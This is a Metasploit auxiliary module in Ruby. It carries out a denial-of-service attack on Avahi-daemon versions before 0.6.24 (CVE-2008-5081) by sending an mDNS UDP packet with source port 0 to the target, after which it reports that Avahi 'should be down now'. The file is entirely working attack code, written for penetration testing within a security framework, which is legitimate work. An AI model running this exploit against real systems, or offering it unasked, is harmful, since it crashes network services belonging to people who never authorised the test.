##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Capture
	include Msf::Auxiliary::Dos

	def initialize
		super(
			'Name'        => 'Avahi < 0.6.24 Source Port 0 DoS',
			'Description' => %q{
				Avahi-daemon versions prior to 0.6.24 can be DoS'd
				with an mDNS packet with a source port of 0
			},
			'Author'      => 'kris katterjohn',
			'License'     => MSF_LICENSE,
			'References'  => [
				[ 'CVE', '2008-5081' ],
				[ 'OSVDB', '50929' ],
			],
			'DisclosureDate' => 'Nov 14 2008')

		register_options([
			OptInt.new('RPORT', [true, 'The destination port', 5353])
		])

		deregister_options('FILTER','PCAPFILE')
	end

	def run
		open_pcap

		print_status("Sending to #{rhost}")

		p = PacketFu::UDPPacket.new
		p.ip_saddr = "0.0.0.0"
		p.ip_daddr = rhost
		p.ip_frag = 0x4000 # Original had ip frag flags set to 2 for some reason.
		p.udp_sport = 0 # That's the bug
		p.udp_dport = datastore['RPORT'].to_i
		p.payload = Rex::Text.rand_text(rand(0x20)) # UDP needs at least one data byte, may as well send a few.
		p.recalc
		capture_sendto(p, rhost)

		close_pcap

		print_status("Avahi should be down now")
	end
end
